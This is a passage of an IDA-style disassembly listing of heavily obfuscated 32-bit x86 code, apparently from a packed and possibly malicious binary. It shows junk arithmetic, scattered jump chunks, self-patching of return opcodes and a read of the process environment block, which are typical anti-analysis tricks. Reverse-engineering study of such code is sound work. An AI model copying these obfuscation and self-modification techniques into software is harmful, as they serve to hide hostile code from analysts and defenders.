		add	esi, 0D00514F6h
		xor	esi, 8AA09B8Ch
		sub	esi, 0EFDDA03Ch
		jmp	loc_45963F
; END OF FUNCTION CHUNK	FOR sub_448800
; ---------------------------------------------------------------------------
		jmp	ds:dword_41D134
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4F8

loc_455F46:				; CODE XREF: sub_43F4F8+B9EEj
		jmp	loc_45881E
; END OF FUNCTION CHUNK	FOR sub_43F4F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457A3C

loc_455F4B:				; CODE XREF: sub_457A3C-DEFCj
		jmp	loc_45841F
; END OF FUNCTION CHUNK	FOR sub_457A3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4551F9

loc_455F50:				; CODE XREF: sub_4551F9-19793j
		jmp	loc_4590A5
; END OF FUNCTION CHUNK	FOR sub_4551F9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_482. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	[ecx], dl
		enter	0FFFFFFFFh, 5Ah
		call	sub_43C8F3
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_455F61:				; CODE XREF: sub_44B99E-9DE3j
		jmp	loc_441A80
; END OF FUNCTION CHUNK	FOR sub_44B99E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FBEA

loc_455F66:				; CODE XREF: sub_43FBEA+6j
		jmp	loc_455B2A
; END OF FUNCTION CHUNK	FOR sub_43FBEA
; ---------------------------------------------------------------------------

loc_455F6B:				; CODE XREF: dviuq5id:0044B7DFj
					; dviuq5id:0044F5FCj
		sub	ebx, 13F3BD2Ah
		test	ebx, 1000h
		jmp	loc_458260
; ---------------------------------------------------------------------------
		mov	eax, edx
		xor	edi, 8363E130h
		jmp	sub_44B223
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_455F89:				; CODE XREF: sub_439013+27E3j
		js	loc_445B92

loc_455F8F:				; CODE XREF: sub_439013:loc_43B7E9j
		or	edx, 56AAF5CDh
		add	edx, 0F33A537Eh
		call	sub_449EB7
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jmp	loc_44E187
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_455FAC:				; CODE XREF: sub_440898:loc_43A0C2j
		xor	eax, eax
		jmp	loc_44FD00
; ---------------------------------------------------------------------------

loc_455FB3:				; CODE XREF: sub_440898:loc_44BE04j
		call	sub_43938B
		test	al, al
		jz	loc_45651C
		jmp	loc_44D4FC
; END OF FUNCTION CHUNK	FOR sub_440898
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_515. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4582AD

loc_455FC6:				; CODE XREF: sub_4582AD-1A058j
		jmp	loc_44E0AE
; END OF FUNCTION CHUNK	FOR sub_4582AD
; ---------------------------------------------------------------------------

loc_455FCB:				; CODE XREF: dviuq5id:0044CFB4j
		push	eax
		jge	loc_45A113

loc_455FD2:				; CODE XREF: dviuq5id:0044CFA3j
		and	ecx, 8E8BF29Bh
		add	ecx, 73B68FCBh
		mov	[ecx], eax

loc_455FE0:				; CODE XREF: dviuq5id:loc_451867j
		pop	ecx
		lea	eax, sub_440DA1
		jmp	loc_450112
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_455FEC:				; CODE XREF: sub_441DDA+D1BFj
		test	ebp, ebx
		jmp	loc_4500D4
; END OF FUNCTION CHUNK	FOR sub_441DDA

; =============== S U B	R O U T	I N E =======================================



sub_455FF3	proc near		; DATA XREF: sub_4492F0+4593o
		mov	edx, 81424EE7h
		push	offset sub_451767
		jmp	nullsub_367
sub_455FF3	endp


; =============== S U B	R O U T	I N E =======================================



sub_456002	proc near		; CODE XREF: dviuq5id:00442536j
					; sub_4427AE+8D95p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439C1F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043D999 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00444816 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457A9A SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		pop	edx
		ror	eax, 0Ch
		mov	edx, [esp-4+arg_0]
		push	edi
		mov	edi, eax
		xchg	edi, [esp+0]
		mov	eax, edx

loc_456014:				; CODE XREF: sub_448FC7+87D9j
		jmp	loc_444816
sub_456002	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_456019:				; CODE XREF: sub_43CB4C:loc_4512ECj
		xchg	ecx, [esp+0]
		jmp	loc_43B4E5
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_456021:				; CODE XREF: sub_43FA59-1F46j
					; sub_43F4F8:loc_43F8B3j
		pop	edi
		add	edi, 0D45DE4F4h
		or	edi, 132E3D30h
		rol	edi, 13h
		sub	edi, ds:4000F7h
		add	edi, 0BB571D1h
		add	eax, edi
		pop	edi
		jmp	loc_44E860
; END OF FUNCTION CHUNK	FOR sub_43FA59
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_98. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_456046:				; CODE XREF: dviuq5id:00445541j
		jmp	loc_43BE20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4512BC

loc_45604B:				; CODE XREF: sub_4512BC-145AFj
		jmp	loc_442CB8
; END OF FUNCTION CHUNK	FOR sub_4512BC
; ---------------------------------------------------------------------------

loc_456050:				; CODE XREF: dviuq5id:00452789j
		xchg	esi, [esp]

; =============== S U B	R O U T	I N E =======================================



sub_456053	proc near		; CODE XREF: sub_43E603j

; FUNCTION CHUNK AT 00449673 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D4CA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004554DE SIZE 00000015 BYTES

		call	sub_43FEBB
		push	0D70A69C3h
		pop	eax
		and	eax, 82CC872Ch
		or	eax, ds:4000F8h
		jmp	loc_449673
sub_456053	endp

; ---------------------------------------------------------------------------
		and	ebx, 698800E7h
		jmp	sub_440223
; ---------------------------------------------------------------------------

loc_45607A:				; CODE XREF: dviuq5id:0043CBC4j
		ja	loc_449F48
		rol	ebp, 7
; START	OF FUNCTION CHUNK FOR sub_43E10E

loc_456083:				; CODE XREF: sub_43E10E-155Cj
		sub	eax, 7327E3A3h
		xor	eax, 4DF13CBCh
		add	eax, ebp
		add	eax, 881D974Bh
		jmp	loc_45A0A7
; END OF FUNCTION CHUNK	FOR sub_43E10E

; =============== S U B	R O U T	I N E =======================================



sub_45609C	proc near		; CODE XREF: sub_4486F9+14p
					; dviuq5id:0044BBD2j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043EC3E SIZE 00000024 BYTES
; FUNCTION CHUNK AT 004564C8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00456BB9 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	eax, ebx
		xchg	edx, [esp+0]
		mov	ebx, edx
		jmp	loc_4564C8
sub_45609C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4560AC	proc near		; DATA XREF: dviuq5id:00440091o

var_10		= dword	ptr -10h
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0043E143 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043F660 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043F7BE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445A0F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00448812 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00448FE5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004491F0 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0044B13A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044B77E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044C902 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D379 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044DB50 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044F23A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044FB81 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044FF91 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00457511 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00457643 SIZE 00000012 BYTES

		add	eax, 34FF987Ah
		mov	eax, [eax]
		push	eax
		call	sub_43BAC4
		jmp	loc_44F23A
sub_4560AC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BFE

loc_4560BF:				; CODE XREF: sub_442BFE+3463j
		jz	loc_45434A
		jmp	loc_44784D
; END OF FUNCTION CHUNK	FOR sub_442BFE

; =============== S U B	R O U T	I N E =======================================



sub_4560CA	proc near		; DATA XREF: sub_4597B9+1o

; FUNCTION CHUNK AT 00451379 SIZE 0000000E BYTES

		push	0FD1BC1F4h
		pop	ebx
		add	ebx, 10994D38h
		or	ebx, 88488775h
		sub	ebx, 317D99Eh
		jmp	loc_451379
sub_4560CA	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_348. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_4560E8:				; CODE XREF: sub_454267:loc_4454D4j
		jmp	loc_453FC0
; END OF FUNCTION CHUNK	FOR sub_454267
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_309. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4560EE:				; CODE XREF: dviuq5id:00459F08j
		jmp	loc_44C53F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445498

loc_4560F3:				; CODE XREF: sub_445498-2EF3j
		jmp	loc_446842
; END OF FUNCTION CHUNK	FOR sub_445498
; ---------------------------------------------------------------------------
		not	esi
		jmp	loc_459BA6
; ---------------------------------------------------------------------------
		xor	esi, ebp
		jmp	sub_44C4E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EF1D

loc_456106:				; CODE XREF: sub_43EF1D+89C4j
		mov	ebp, edx
		xchg	ebp, [esp+4+var_4]
		call	sub_43FEBB
		push	84C31204h
		pop	eax
		jmp	loc_442174
; END OF FUNCTION CHUNK	FOR sub_43EF1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_45611B:				; CODE XREF: sub_43CB4C:loc_45005Aj
		cmp	dword ptr [eax-1Ch], 0F6h
		jz	loc_449D02
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F7h
		jnz	loc_44FEE6
		jmp	loc_449D02
; ---------------------------------------------------------------------------

loc_45613D:				; CODE XREF: sub_43CB4C:loc_4422D0j
		push	offset sub_449CE2
		jmp	nullsub_231
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AC1

loc_456147:				; CODE XREF: sub_443AC1+3B71j
		jo	loc_43C3C6
		adc	ebp, 4FB8CEA8h

loc_456153:				; CODE XREF: sub_443AC1:loc_440BF0j
		push	0E62CE92Eh
		pop	eax
		jmp	loc_44594E
; END OF FUNCTION CHUNK	FOR sub_443AC1
; ---------------------------------------------------------------------------

loc_45615E:				; DATA XREF: sub_440599-31BEo
		or	ecx, ecx
		jz	loc_44B097
		mov	ecx, [ebx+ecx+0Ch]
		or	ecx, ecx
		jz	loc_44B097
		push	offset sub_43EEB4
		jmp	locret_43D43D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_45617C:				; CODE XREF: sub_43FAE1+3E57j
		add	ecx, 0FC11502Fh
		cmp	esi, ebp
		jmp	loc_439E97
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459D7E

loc_456189:				; CODE XREF: sub_4399BB+144E3j
					; sub_459D7E:loc_450077j
		push	62267B1Bh
		pop	edi
		or	edi, 0A216F74h
		and	edi, 9B7A63F7h
		rol	edi, 9
		add	edi, 0BB7E64DDh
		xchg	edi, [esp+0]
		jmp	loc_455306
; END OF FUNCTION CHUNK	FOR sub_459D7E
; ---------------------------------------------------------------------------

loc_4561AC:				; CODE XREF: dviuq5id:004493D2j
					; dviuq5id:loc_455768j
		call	nullsub_513
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_513. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F1BA

loc_4561B3:				; CODE XREF: sub_43F1BA+10j
		jmp	loc_445983
; END OF FUNCTION CHUNK	FOR sub_43F1BA
; ---------------------------------------------------------------------------

loc_4561B8:				; CODE XREF: dviuq5id:004464F4j
		call	sub_43938B
		test	al, al

loc_4561BF:				; CODE XREF: dviuq5id:loc_4435B4j
		jz	loc_457C74
		jmp	loc_44E3DA
; ---------------------------------------------------------------------------

locret_4561CA:				; CODE XREF: dviuq5id:00451AAFj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44440E

loc_4561CB:				; CODE XREF: sub_44440E:loc_452D2Cj
		mov	eax, 0E211C416h
		call	sub_43C4B5

loc_4561D5:				; CODE XREF: dviuq5id:loc_4436CCj
		mov	ds:off_41D208, eax
; END OF FUNCTION CHUNK	FOR sub_44440E
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_4561DB:				; CODE XREF: sub_4492F0:loc_449CA8j
		lea	eax, loc_457299
		mov	byte ptr [eax],	0C3h
		jmp	loc_44805A
; ---------------------------------------------------------------------------

loc_4561E9:				; CODE XREF: sub_4492F0+DFAAj
		mov	eax, [esp+0]
		jmp	loc_456680
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------

loc_4561F1:				; CODE XREF: dviuq5id:loc_44E732j
		push	eax
		mov	eax, edx
		xchg	eax, [esp]
; START	OF FUNCTION CHUNK FOR sub_452D9B

loc_4561F7:				; CODE XREF: sub_452D9B:loc_454A41j
		push	offset aPqhybd	; "PQhyBD"
; END OF FUNCTION CHUNK	FOR sub_452D9B
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_4561FC:				; CODE XREF: sub_44514D:loc_44A529j
		jmp	loc_439B83
; END OF FUNCTION CHUNK	FOR sub_44514D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_456201:				; CODE XREF: sub_43EB11+FCAj
		shl	eax, 14h
		rol	edx, 5
		test	eax, esi
		jmp	loc_441D98
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455B71

loc_45620E:				; CODE XREF: sub_455B71:loc_4529C8j
		rol	ecx, 16h
		or	ecx, 62AE436Fh
		sub	ecx, 29F334BEh
		xor	ecx, 0C4BC46C1h
		jmp	loc_43A778
; END OF FUNCTION CHUNK	FOR sub_455B71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_456228:				; CODE XREF: sub_454267:loc_45433Aj
		or	eax, eax
		jnz	loc_43AFEE
		jmp	loc_448958
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D2A8

loc_456235:				; CODE XREF: sub_44D2A8:loc_455905j
		not	esi
		add	ecx, 9912DB06h
		jmp	loc_43F8FC
; END OF FUNCTION CHUNK	FOR sub_44D2A8

; =============== S U B	R O U T	I N E =======================================



sub_456242	proc near		; DATA XREF: sub_4434EB:loc_4434F5o
		mov	[esi], eax
		pop	esi
		lea	eax, nullsub_453
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_453
sub_456242	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_456253	proc near		; CODE XREF: sub_403900+9p
					; sub_40B439+35p
					; DATA XREF: ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439F26 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043A7C2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B9B0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DCE9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FAEC SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00440FAD SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00444849 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446600 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00446633 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C2B5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D361 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452730 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00452C72 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004541EC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00455316 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00455CC6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00459DA9 SIZE 00000014 BYTES

		jno	loc_440FAD
		mov	eax, ds:dword_441C14
		or	eax, eax
		jmp	loc_455CC6
sub_456253	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E1A

loc_456266:				; CODE XREF: sub_440E1A+5j
		jmp	ds:off_41D098
; END OF FUNCTION CHUNK	FOR sub_440E1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_45626C:				; CODE XREF: sub_4525D0+10j
		jmp	loc_4402EB
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4452B9

loc_456271:				; CODE XREF: sub_4452B9+Fj
		jmp	nullsub_234
; END OF FUNCTION CHUNK	FOR sub_4452B9

; =============== S U B	R O U T	I N E =======================================



sub_456276	proc near		; CODE XREF: sub_440E1Ap
					; sub_43A160:loc_44385Dj ...
		push	offset loc_4598A7
		jmp	nullsub_235
sub_456276	endp


; =============== S U B	R O U T	I N E =======================================



sub_456280	proc near		; CODE XREF: sub_444688+7p
					; dviuq5id:00455C98j

arg_0		= dword	ptr  4

		xchg	edi, [esp+0]
		pop	edi
		xchg	ebp, [esp-4+arg_0]
		push	offset sub_451F3E
		jmp	sub_44DD22
sub_456280	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4529AE

loc_456291:				; CODE XREF: sub_4529AE+9j
		push	esi
		push	4E22228Eh
		pop	esi
		and	esi, 294CC4AFh
		add	esi, 0EB618DF9h
		and	esi, ds:4000F2h
		call	sub_450F99

loc_4562AF:				; CODE XREF: sub_4560AC-17F55j
		jmp	loc_450301
; END OF FUNCTION CHUNK	FOR sub_4529AE

; =============== S U B	R O U T	I N E =======================================



sub_4562B4	proc near		; CODE XREF: dviuq5id:0043B898j
					; sub_449EB7:loc_4599D4p

; FUNCTION CHUNK AT 0044017A SIZE 0000001F BYTES

		xchg	eax, [esp+0]
		pop	eax
		xor	eax, eax
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0

loc_4562C1:				; CODE XREF: sub_43EB11:loc_43D43Ej
		jmp	loc_44017A
sub_4562B4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	ds:dword_41D0C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_4562CC:				; CODE XREF: sub_43FA59-4734j
		jmp	loc_43F6E2
; END OF FUNCTION CHUNK	FOR sub_43FA59
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_495. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jb	loc_45A5E5
		mov	eax, [esp]
		jmp	loc_43A8AD
; ---------------------------------------------------------------------------
		shr	eax, 0Bh
		jnz	loc_4489D9
		jmp	sub_44F093
; ---------------------------------------------------------------------------

loc_4562EE:				; CODE XREF: dviuq5id:0043E462j
		jnz	loc_453F34
; START	OF FUNCTION CHUNK FOR sub_44F23F

loc_4562F4:				; CODE XREF: sub_44F23F+25B1j
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_44F23F
; ---------------------------------------------------------------------------
		pop	eax
		mov	ebx, edx

loc_4562FC:				; DATA XREF: sub_456002-1865Do
		jmp	loc_453F34
; ---------------------------------------------------------------------------

loc_456301:				; CODE XREF: dviuq5id:0044A28Ej
		add	ebx, 814F1E99h
		xor	ebx, 16821EDh
		test	ebx, 20h
		jmp	loc_43C450
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FEBB

loc_456318:				; CODE XREF: sub_43FEBB:loc_4454F2j
		push	offset loc_44DC20
		jmp	loc_459A09
; END OF FUNCTION CHUNK	FOR sub_43FEBB
; ---------------------------------------------------------------------------

loc_456322:				; CODE XREF: dviuq5id:0044BB19j
		jge	loc_4519C0
		add	eax, 0C5A99481h
; START	OF FUNCTION CHUNK FOR sub_454267

loc_45632E:				; CODE XREF: sub_454267:loc_43AA79j
		call	sub_43D9CE

loc_456333:				; CODE XREF: dviuq5id:loc_44380Fj
		jmp	loc_457A57
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4404A6

loc_456338:				; CODE XREF: sub_4404A6+Ej
		jmp	loc_452F7A
; END OF FUNCTION CHUNK	FOR sub_4404A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4411C6

loc_45633D:				; CODE XREF: sub_4411C6-6EBDj
					; sub_43EB11:loc_457B3Bj
		mov	eax, [esp+0]
		push	eax
		push	ecx
		push	8B5045C4h
		pop	ecx
		jmp	loc_4517B1
; END OF FUNCTION CHUNK	FOR sub_4411C6

; =============== S U B	R O U T	I N E =======================================



sub_45634D	proc near		; DATA XREF: sub_43AE68+19C86o
		xor	edi, 867F11C8h
		popf
		sub	ecx, edi
		pop	edi
		not	ebx
		jmp	loc_449A43
sub_45634D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D767

loc_45635E:				; CODE XREF: sub_43D767+14j
		push	538E0528h
		xchg	eax, [esp+4+var_4]
		mov	ecx, eax
		ror	eax, 13h
		jmp	loc_446655
; END OF FUNCTION CHUNK	FOR sub_43D767
; ---------------------------------------------------------------------------

loc_456370:				; CODE XREF: dviuq5id:0044AB5Cj
					; dviuq5id:loc_44F54Aj
		add	edi, 1DC1C4D7h
		mov	[edi], eax
		pop	edi
		lea	eax, nullsub_10
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_456387:				; CODE XREF: sub_446682-6095j
		xor	eax, 576CACCEh
		call	sub_453642
		push	ecx
		push	7FF68350h
		pop	ecx
		xor	ecx, 3A959A51h
		sub	ecx, 0E5FDFFA3h
		jmp	loc_43F952
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------

loc_4563AA:				; CODE XREF: dviuq5id:00439765j
		jnp	loc_444366
		sub	edi, ebx
		push	577F692Fh
		ror	eax, 2
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_4563BA:				; CODE XREF: sub_43C4B5:loc_439752j
		or	eax, 6A1E2C9Bh
		add	eax, 0ABCA45EAh
		xor	eax, 167D905Fh
		add	eax, ebp
		jmp	loc_457224
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458B23

loc_4563D3:				; CODE XREF: sub_458B23:loc_43959Cj
		cmp	edx, 3C994EA6h
		jmp	loc_456788
; END OF FUNCTION CHUNK	FOR sub_458B23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4512BC

loc_4563DE:				; CODE XREF: sub_4512BC-96Aj
		jnz	loc_4519F2
		jmp	loc_4576D1
; END OF FUNCTION CHUNK	FOR sub_4512BC
; ---------------------------------------------------------------------------
		test	esi, ebp
		jmp	loc_444398
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_172. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4477D7

loc_4563F1:				; CODE XREF: sub_4477D7+FB13j
		jmp	loc_4598E2
; END OF FUNCTION CHUNK	FOR sub_4477D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_4563F6:				; CODE XREF: sub_448154+ED1Cj
		jmp	loc_43AD81
; END OF FUNCTION CHUNK	FOR sub_448154
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CF31

loc_4563FB:				; CODE XREF: sub_43CF31+18030j
		jmp	loc_448677
; END OF FUNCTION CHUNK	FOR sub_43CF31
; ---------------------------------------------------------------------------
		sub	eax, 2B12A405h
		jmp	sub_44093D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452089

loc_45640B:				; CODE XREF: sub_452089+10j
		or	ebx, 16A34224h
		xor	ebx, 0E44EAB3h
		add	ebx, 0A74DB38Fh
		xchg	ebx, [esp+0]
		jmp	loc_44D618
; END OF FUNCTION CHUNK	FOR sub_452089
; ---------------------------------------------------------------------------
		mov	eax, large fs:30h
		jmp	loc_439B92
; ---------------------------------------------------------------------------
		jg	loc_459A11
		jmp	sub_44DB9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB05

loc_45643C:				; CODE XREF: sub_43CB05:loc_454A83j
		jnz	loc_43D4FE
		jmp	loc_4540EF
; END OF FUNCTION CHUNK	FOR sub_43CB05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_456447:				; CODE XREF: sub_44EAC4:loc_449E67j
		jz	loc_4399AF
		jmp	loc_4533B5
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------

loc_456452:				; CODE XREF: dviuq5id:004436A4j
		push	7D447DFDh
		jl	loc_452FE8
; START	OF FUNCTION CHUNK FOR sub_44C085

loc_45645D:				; CODE XREF: sub_44C085:loc_443695j
		and	edi, 0E20141D3h
		sub	edi, 0B4798A2Eh
		jb	loc_43FC3D
; END OF FUNCTION CHUNK	FOR sub_44C085
; START	OF FUNCTION CHUNK FOR sub_454094

loc_45646F:				; CODE XREF: sub_454094+3993j
		jmp	loc_454CF2
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449B7F

loc_456474:				; CODE XREF: sub_449B7F-F01j
		jmp	loc_44070F
; END OF FUNCTION CHUNK	FOR sub_449B7F
; ---------------------------------------------------------------------------
		mov	esi, eax
		jmp	loc_453849
; ---------------------------------------------------------------------------

loc_456480:				; CODE XREF: dviuq5id:004495B3j
		mov	esi, ebp
		pop	ebp
		add	esi, ds:4000F6h
		sub	esi, ds:4000F7h
		xor	esi, 6648E053h
		rol	esi, 18h
		add	esi, 5BEB66CBh
		jmp	loc_43E745
; ---------------------------------------------------------------------------

loc_4564A3:				; CODE XREF: dviuq5id:0043CAABj
		and	esi, 67FF5DD5h
		add	esi, 0DE9C32FCh
		call	sub_444440
; START	OF FUNCTION CHUNK FOR sub_447A8A

loc_4564B4:				; CODE XREF: sub_447A8A-88B9j
		jbe	loc_440A55
		popf
		or	edi, ebp
		mov	ebx, 0BB6368A2h
		jmp	loc_4397EB
; END OF FUNCTION CHUNK	FOR sub_447A8A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_39. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45609C

loc_4564C8:				; CODE XREF: sub_45609C+Bj
		pop	edx
		mov	[ebp-10h], eax
		push	0B2A2D03Bh
		pop	eax
		jmp	loc_456BB9
; END OF FUNCTION CHUNK	FOR sub_45609C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44250B

loc_4564D7:				; CODE XREF: sub_44250B-EB4j
		shr	eax, 1Bh
		jp	loc_44C1D9
		and	edi, 13AD4BEEh
		or	esi, 0E2D8A11Eh
		jmp	loc_43F144
; END OF FUNCTION CHUNK	FOR sub_44250B

; =============== S U B	R O U T	I N E =======================================



sub_4564F1	proc near		; CODE XREF: sub_44250B-71BDp
					; dviuq5id:0043C741p
		push	offset loc_443B8D
		jmp	nullsub_241
sub_4564F1	endp

; ---------------------------------------------------------------------------
		and	ebp, 0BD741D2Eh
		jmp	loc_43F27F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BFE

loc_456506:				; CODE XREF: sub_442BFE:loc_43FBB8j
					; dviuq5id:loc_4418F9j
		pop	edx
		or	edx, 0F2F0804h
		and	edx, 701BB7D4h
		rol	edx, 19h
		jmp	loc_44829F
; END OF FUNCTION CHUNK	FOR sub_442BFE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_169. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_45651C:				; CODE XREF: sub_440898+B579j
					; sub_440898+15722j
		call	sub_43938B
